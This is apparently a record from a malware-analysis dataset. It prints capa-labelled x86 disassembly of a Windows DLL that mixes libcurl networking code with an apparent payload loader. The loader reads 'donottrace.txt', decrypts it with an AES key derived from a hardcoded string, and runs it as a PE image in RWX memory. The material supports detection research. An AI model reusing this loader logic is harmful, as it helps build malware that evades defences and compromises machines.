joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001dbb0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], esi
call fcn.1002d490
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edx
cmp dword [ebp + 8], esi
je 0x1001dc09
mov eax, dword [ebp + 0x14]
push eax
push edi
call sym.libcurl.dll_curl_multi_perform
mov ebx, eax
add esp, 8
cmp ebx, 1
je 0x1001dc01
mov esi, dword [edi + 4]
test esi, esi
je 0x1001dc01
lea ebx, [ebx]
push edi
mov ecx, esi
call fcn.1001bb00
mov esi, dword [esi]
add esp, 4
test esi, esi
jne 0x1001dbf0
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp eax, 0xffffffff
je 0x1001dd43
push eax
lea ecx, [edi + 0x60]
call fcn.1001afa0
add esp, 4
test eax, eax
je 0x1001dcd6
mov esi, dword [eax]
cmp dword [esi + 0x4990], 0xc0dedbad
je 0x1001dc42
pop esi
mov eax, 4
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 8]
mov edx, dword [ebp + 0x10]
test eax, eax
je 0x1001dc70
test dl, 2
je 0x1001dc5f
mov ecx, dword [eax + 0x4b8]
test ecx, ecx
je 0x1001dc5f
mov esi, dword [ecx]
jmp 0x1001dc70
test dl, 1
je 0x1001dc70
mov eax, dword [eax + 0x4c8]
test eax, eax
je 0x1001dc70
mov esi, dword [eax]
mov eax, dword [esi + 8]
test eax, eax
je 0x1001dc89
mov ecx, dword [eax + 0x440]
test byte [ecx + 0x40], 8
jne 0x1001dc89
mov dword [eax + 0x728], edx
mov edx, dword [ebp - 0xc]
push edx
push ebx
push edi
call fcn.1001cb50
mov ecx, dword [esi + 8]
add esp, 0xc
mov dword [ebp - 4], eax
test ecx, ecx
je 0x1001dcb7
mov edx, dword [ecx + 0x440]
test byte [edx + 0x40], 8
jne 0x1001dcb7
mov dword [ecx + 0x728], 0
test eax, eax
jg 0x1001dcc6
push edi
mov ecx, esi
call fcn.1001bb00
add esp, 4
xor esi, esi
call fcn.1002d490
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov ebx, dword [ebp - 0x10]
test esi, esi
je 0x1001dcfa
mov eax, dword [ebp - 0xc]
push eax
push ebx
push edi
call fcn.1001cb50
add esp, 0xc
mov dword [ebp - 4], eax
test eax, eax
jg 0x1001dcfa
push edi
mov ecx, esi
call fcn.1001bb00
add esp, 4
mov edx, dword [edi + 0x5c]
mov eax, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push ecx
push edx
push eax
push ebx
call fcn.100288f0
mov dword [edi + 0x5c], eax
mov eax, dword [ebp - 8]
add esp, 0x10
test eax, eax
je 0x1001dd32
mov ecx, dword [ebp - 0xc]
mov esi, dword [eax + 0x18]
push edi
push ecx
push ebx
mov ebx, esi
call fcn.1001bdb0
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x1001dcd3
mov eax, dword [ebp + 0x14]
mov edx, dword [edi + 0x10]
pop esi
mov dword [eax], edx
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [edi + 0xec], eax
mov dword [edi + 0xf0], eax
jmp 0x1001dcd6
Function at 0x1001e950
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x2c]
push ebx
mov ebx, dword [ecx]
mov dword [ebp - 4], ecx
mov ecx, dword [ebx + 0x1ec]
push esi
push edi
mov esi, ecx
test ecx, ecx
jne 0x1001e971
mov esi, dword [eax + 0x28]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
push ecx
push edx
call fcn.1002d490
push edx
push eax
call fcn.1002d4c0
mov ecx, eax
mov eax, esi
mov dword [ebp + 8], edx
cdq
add esp, 0x10
mov edi, eax
sub edi, ecx
mov esi, edx
sbb esi, dword [ebp + 8]
cmp dword [ebx + 0x1e0], 0
je 0x1001e9dd
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x184]
mov eax, dword [eax + 0x180]
push edx
push eax
call fcn.1002d490
push edx
push eax
call fcn.1002d4c0
mov ecx, eax
mov eax, dword [ebx + 0x1e0]
mov dword [ebp + 8], edx
cdq
add esp, 0x10
sub eax, ecx
sbb edx, dword [ebp + 8]
cmp esi, edx
jl 0x1001e9dd
jg 0x1001e9e1
cmp edi, eax
jae 0x1001e9e1
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10022ea0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x10022ed3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and eax, 0xffffffe7
add eax, 0x51
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
xor eax, eax
pop ebp
ret

Function at 0x10023020
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x10023042
mov edx, dword [esi + 0x134]
push edx
mov edx, dword [ebp + 8]
push ebx
push edx
push eax
push esi
call ecx
add esp, 0x14
pop ebp
ret
test eax, eax
js 0x1002307b
cmp eax, 2
jg 0x1002307b
mov ecx, dword [esi + 0x130]
push edi
mov edi, dword [sym.imp.MSVCR100.dll_fwrite]
push ecx
push 1
lea edx, [eax + eax*2 + 0x100427dc]
push 2
push edx
call edi
mov eax, dword [esi + 0x130]
mov ecx, dword [ebp + 8]
push eax
push 1
push ebx
push ecx
call edi
add esp, 0x20
pop edi
xor eax, eax
pop ebp
ret

Function at 0x100235d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [eax + ecx*4 + 0x190]
mov edx, ecx
add edx, edx
push esi
lea esi, [eax + edx*8 + 0x1b8]
mov edx, dword [eax + 0x440]
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [edx + 0x3c], 3
je 0x10023670
cmp dword [eax + ecx*4 + 0x1a8], 0x10023360
jne 0x10023670
cmp dword [esi], 0
je 0x1002360d
test edi, edi
je 0x10023670
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.10022510
add esp, 0x14
cmp eax, 0xffffffff
je 0x10023670
test al, 1
je 0x10023670
cmp dword [esi], 0
jne 0x10023652
push 0x8000
mov dword [esi + 4], 0x8000
call dword [0x1004b008]
mov edi, dword [esi + 4]
xor ecx, ecx
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], ecx
mov dword [esi + 0xc], ecx
cmp eax, ecx
je 0x1002366d
mov eax, dword [esi]
add eax, dword [esi + 8]
push 0
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10023670
add dword [esi + 8], eax
pop edi
pop esi
pop ebx
ret
mov dword [esi + 4], ecx
pop edi
pop esi
pop ebx
ret

Function at 0x10023680
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + ecx*4 + 0x190]
mov eax, esi
call fcn.100235d0
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
push 0
push eax
push ecx
push edi
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [ebp + 0x18]
mov edi, eax
mov dword [ebx], 0
cmp edi, 0xffffffff
jne 0x10023703
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp + 8], eax
cmp eax, 0x2733
jne 0x100236d8
pop edi
pop esi
mov dword [ebx], 0x51
xor eax, eax
pop ebx
pop ebp
ret
push eax
push esi
call fcn.10029790
mov edx, dword [esi]
push eax
push str.Send_failure:__s
push edx
call fcn.100231e0
mov eax, dword [esi]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x473c], ecx
add esp, 0x14
mov dword [ebx], 0x37
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10023750
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0xf0000000
xor edi, edi
push 0x18
push edi
push edi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1002382c
mov edx, dword [ebp - 8]
lea ecx, [ebp - 4]
push ecx
push edi
push edi
push 0x800c
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10023820
mov edx, dword [ebp + 8]
mov eax, edx
push esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100237a3
push 0
sub eax, esi
push eax
mov eax, dword [ebp - 4]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
pop esi
test eax, eax
je 0x10023816
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0xc]
push ecx
push 1
push edx
push 0x6610
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x10023816
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
lea ecx, [ebp + 0x10]
push ecx
push edx
push 0
push 1
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10023807
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov dword [ecx], edx
mov edi, 1
jmp 0x1002380c
mov eax, dword [ebp + 0x14]
mov dword [eax], edi
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 8]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10023840
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x1004b128]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x108]
push 0x5c
push ecx
call dword [sym.imp.MSVCR100.dll_strrchr]
mov byte [eax], 0
mov eax, str.donottrace.txt
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023883
push esi
push edi
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10023895
mov ecx, eax
shr ecx, 2
push 0
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x80
push 3
push 0
push 0
mov ecx, eax
push connect
lea edx, [ebp - 0x108]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x1004b17c], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1004b184], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x1004b184]
mov edx, dword [0x1004b17c]
push 0
push 0x1004b188
push ecx
push eax
push edx
mov dword [0x1004b18c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x1004b17c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1004b184]
mov eax, dword [0x1004b18c]
lea ecx, [ebp - 0x10c]
push ecx
push edx
push eax
push str.VP6xD1l641p5CrMKbgvnQoD20qUxdortl591yX0dNNGQeTiWITjLGfOgtBE1yS14WodB90cSQObezPtfScLWAIjNbqj31IFVZMdwWY12DfrWFyuZnqBPWXOc8gTndiPN
call fcn.10023750
mov ecx, dword [ebp - 4]
add esp, 0x10
pop edi
xor ecx, ebp
pop esi
call fcn.1003c652
mov esp, ebp
pop ebp
ret

Function at 0x10023d40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
cmp edi, 0x40
jae 0x10023d53
xor eax, eax
pop edi
pop ebp
ret 8
mov eax, dword [ebp + 8]
mov edx, 0x5a4d
mov dword [ecx + 0xc], eax
cmp word [eax], dx
jne 0x10023d4c
mov edx, dword [eax + 0x3c]
push esi
lea esi, [edx + 0xf8]
cmp edi, esi
jb 0x10023d9a
add eax, edx
mov dword [ecx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x10023d9a
movzx edx, word [eax + 0x16]
test edx, 0x2000
je 0x10023d9a
test dl, 2
je 0x10023d9a
mov edx, 0xe0
cmp word [eax + 0x14], dx
je 0x10023da2
pop esi
xor eax, eax
pop edi
pop ebp
ret 8
push ebx
lea esi, [eax + 0xf8]
xor ebx, ebx
mov dword [ecx + 0x14], esi
xor edx, edx
cmp bx, word [eax + 6]
jae 0x10023ddb
xor eax, eax
jmp 0x10023dc0
mov ebx, dword [eax + esi + 0x14]
add ebx, dword [eax + esi + 0x10]
cmp ebx, edi
ja 0x10023de7
mov ebx, dword [ecx + 0x10]
movzx ebx, word [ebx + 6]
inc edx
add eax, 0x28
cmp edx, ebx
jl 0x10023dc0
pop ebx
pop esi
mov eax, 1
pop edi
pop ebp
ret 8
pop ebx
pop esi
xor eax, eax
pop edi
pop ebp
ret 8
Function at 0x10023f30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
cmp dword [edi + 8], 0
je 0x10023f43
xor eax, eax
pop edi
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push eax
push ecx
mov ecx, edi
call fcn.10023d40
test eax, eax
je 0x10023f3c
push ebx
call fcn.10023e10
mov ebx, eax
test ebx, ebx
jne 0x10023f68
pop ebx
pop edi
pop ebp
ret 8
push esi
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10024015
mov edx, dword [ebp + 8]
push edx
push esi
mov ecx, edi
call fcn.10023e90
mov eax, dword [edi + 0x10]
cmp dword [eax + 0xa0], 0
jbe 0x10023fac
cmp dword [eax + 0xa4], 0
jbe 0x10023fac
push esi
mov ecx, edi
call fcn.10023af0
push esi
mov ecx, edi
call fcn.10023b60
test eax, eax
jne 0x10023fce
push 0x8000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop esi
pop ebx
xor eax, eax
pop edi
pop ebp
ret 8
lea eax, [ebp + 8]
push eax
push 0x40
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [edi + 0x10]
mov dword [ecx + 0x34], esi
mov edx, dword [edi + 0x10]
mov eax, dword [edx + 0x28]
push 0
push 1
add eax, esi
push esi
mov dword [edi + 4], eax
call eax
test eax, eax
jne 0x1002401e
mov ecx, dword [edi + 4]
push eax
push eax
push esi
call ecx
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edi + 4], 0
pop esi
pop ebx
xor eax, eax
pop edi
pop ebp
ret 8
mov dword [edi + 8], esi
pop esi
pop ebx
mov dword [edi], 1
mov eax, 1
pop edi
pop ebp
ret 8
Function at 0x1002a120
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push str.kernel32
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x1002a144
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push str.LoadLibraryExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [ebp + 8]
mov edi, eax
push 0x10045578
push ebx
mov dword [ebp - 8], edi
call dword [sym.imp.MSVCR100.dll__mbspbrk]
add esp, 8
test eax, eax
je 0x1002a193
test edi, edi
je 0x1002a182
push 8
push 0
push ebx
call edi
pop edi
pop ebx
mov dword [ebp - 4], eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop ebx
mov dword [ebp - 4], eax
pop esi
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x1002a1bb
push str.AddDllDirectory
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1002a1bb
push 0x800
push 0
push ebx
call edi
pop edi
pop ebx
mov dword [ebp - 4], eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, eax
test edi, edi
je 0x1002a25e
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002a1d4
sub eax, edx
lea eax, [eax + edi + 1]
push eax
call dword [0x1004b008]
mov esi, eax
add esp, 4
test esi, esi
je 0x1002a254
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1002a254
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002a202
sub eax, edx
mov ecx, 0x5c
mov word [eax + esi], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002a220
sub eax, edx
lea edx, [eax + esi]
mov ecx, ebx
sub edx, ebx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x1002a230
mov eax, dword [ebp - 8]
test eax, eax
je 0x1002a24a
push 8
push 0
push esi
call eax
jmp 0x1002a251
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
push esi
call dword [0x1004b00c]
add esp, 4
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1002a270
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x1004b128]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1002a2b8
push eax
push str.WSAStartup_failed___d_
push esi
call fcn.100231e0
add esp, 0xc
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003c652
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x1002a2df
shr eax, 8
test al, al
jne 0x1002a2df
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003c652
mov esp, ebp
pop ebp
ret
push str.insufficient_winsock_version_to_support_telnet
push esi
call fcn.100231e0
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 8
mov eax, 2
call fcn.1003c652
mov esp, ebp
pop ebp
ret
Function at 0x1002a470
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [edi + 0x190]
push ebx
push esi
mov esi, dword [edi]
push 0
push 3
lea ecx, [ebp - 4]
mov ebx, eax
mov al, byte [ebp + 8]
push ecx
push edx
mov byte [ebp - 4], 0xff
mov byte [ebp - 3], al
mov byte [ebp - 2], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1002a4b5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push esi
call fcn.100231e0
add esp, 0xc
mov esi, dword [ebp + 8]
mov ecx, dword [edi]
mov eax, ebx
mov ebx, str.SENT
call fcn.1002a370
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002b240
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x1f
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
mov ebx, dword [eax + 0x128]
mov dword [ebp - 4], eax
jne 0x1002b38e
push esi
push edi
lea edi, [ebx + 0x1cb0]
lea esi, [ebx + 0x1eb0]
mov dword [esi], edi
cmp edi, esi
jae 0x1002b276
mov byte [edi], 0xff
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b281
mov byte [eax], 0xfa
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b28c
mov byte [eax], 0x1f
inc dword [esi]
movzx ecx, word [ebx + 0x1ca8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
movzx edx, ax
movzx eax, word [ebx + 0x1caa]
push eax
mov dword [ebp + 0xc], edx
call dword [sym.imp.WS2_32.dll_htons]
movzx ecx, ax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b2be
mov dl, byte [ebp + 0xc]
mov byte [eax], dl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b2cb
mov dl, byte [ebp + 0xd]
mov byte [eax], dl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b2d5
mov byte [eax], cl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b2df
mov byte [eax], ch
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b2ea
mov byte [eax], 0xff
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x1002b2f5
mov byte [eax], 0xf0
inc dword [esi]
mov eax, dword [esi]
mov dword [ebx + 0x1eb4], eax
sub eax, edi
sub eax, 2
push eax
mov dword [esi], edi
mov esi, dword [ebp - 4]
lea eax, [ebx + 0x1cb2]
push 0x3e
call fcn.1002a7e0
mov esi, dword [sym.imp.WS2_32.dll_send]
add esp, 8
push 0
push 3
push edi
mov edi, dword [ebp + 8]
mov edx, dword [edi + 0x190]
push edx
call esi
test eax, eax
jns 0x1002b34b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov eax, dword [ebp - 4]
push str.Sending_data_failed___d_
push eax
call fcn.100231e0
add esp, 0xc
lea ecx, [ebx + 0x1cb3]
push 4
push ecx
call fcn.1002b0f0
mov edx, dword [edi + 0x190]
add esp, 8
push 0
push 2
add ebx, 0x1cb7
push ebx
push edx
call esi
pop edi
pop esi
test eax, eax
jns 0x1002b38e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov eax, dword [ebp - 4]
push str.Sending_data_failed___d_
push eax
call fcn.100231e0
add esp, 0xc
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002cc60
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [esi + 0x10]
mov ecx, dword [eax]
push str.Connected_for_receive
push 0x1003e8d0
push ecx
call fcn.10023160
add esp, 0xc
mov eax, esi
mov dword [esi], 1
call fcn.1002bd70
test eax, eax
jne 0x1002cc94
mov eax, esi
pop ebp
jmp fcn.1002c200
pop ebp
ret
Function at 0x1002d090
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x1004b128]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
push esi
mov esi, dword [eax + 0x688]
push edi
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], 0x80
mov edx, dword [esi + 0x154]
mov eax, dword [esi + 0x15c]
lea ecx, [ebp - 0x84]
push ecx
mov ecx, dword [esi + 0x14]
push 0
add edx, 4
push edx
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x1002d124
mov edx, dword [ebp - 0x88]
push edx
lea eax, [ebp - 0x84]
push eax
lea ecx, [esi + 0xc8]
push ecx
call sub.MSVCR100.dll_memcpy
mov edx, dword [ebp - 0x88]
add esp, 0xc
mov dword [esi + 0x148], edx
mov edx, dword [esi + 0x14c]
cmp edx, 4
jge 0x1002d157
push str.Received_too_short_packet
push ebx
call fcn.100231e0
add esp, 8
mov dword [esi + 0xc], 7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003c652
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0x15c]
call fcn.1002bf20
movzx eax, ax
mov dword [esi + 0xc], eax
add eax, 0xfffffffd
cmp eax, 3
ja case.default.0x1002d174
jmp dword [eax*4 + 0x1002d2a4]
cmp edx, 4
jle case.0x1002d174.4
lea eax, [esi + 0x15c]
call fcn.1002bf30
movzx ecx, word [esi + 0x40]
inc ecx
cmp cx, ax
jne case.0x1002d174.4
mov eax, dword [ebp - 0x8c]
add edx, 0xfffffffc
push edx
mov edx, dword [esi + 0x15c]
add edx, 4
push edx
push 1
push eax
call fcn.10023590
mov edi, eax
add esp, 0x10
test edi, edi
je 0x1002d1e1
mov ecx, 5
mov eax, esi
call fcn.1002d010
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003c652
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [ebx + 0x70], eax
adc dword [ebx + 0x74], edx
mov ecx, dword [ebx + 0x74]
mov edx, dword [ebx + 0x70]
push ecx
push edx
push ebx
call fcn.10020c70
jmp 0x1002d265
lea eax, [esi + 0x15c]
call fcn.1002bf30
mov ecx, dword [esi + 0x15c]
add ecx, 4
push ecx
movzx eax, ax
push 0x1003e8d0
push ebx
mov dword [esi + 8], eax
call fcn.10023160
jmp 0x1002d265
add edx, 0xfffffffe
push edx
mov edx, dword [esi + 0x15c]
add edx, 2
push edx
push esi
call fcn.1002bfc0
add esp, 0xc
test eax, eax
je case.0x1002d174.4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003c652
mov esp, ebp
pop ebp
ret
push str.Internal_error:_Unexpected_packet
push 0x1003f228
push ebx
call fcn.100231e0
add esp, 0xc
mov eax, dword [ebp - 0x8c]
push eax
call fcn.10020e50
add esp, 4
test eax, eax
je 0x1002d144
mov ecx, 5
mov eax, esi
call fcn.1002d010
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 0x2a
pop ebx
call fcn.1003c652
mov esp, ebp
pop ebp
ret
Function at 0x10036810
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
call fcn.10036800
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call dword [sym.imp.MSVCR100.dll__read]
add esp, 0x10
pop ebp
ret

Function at 0x1003b500
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xf0000040
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1003b546
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
push ecx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
test eax, eax
jne 0x1003b54f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003c652
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1004b128]
jne 0x1003c65c
repz ret
jmp fcn.1003ce0b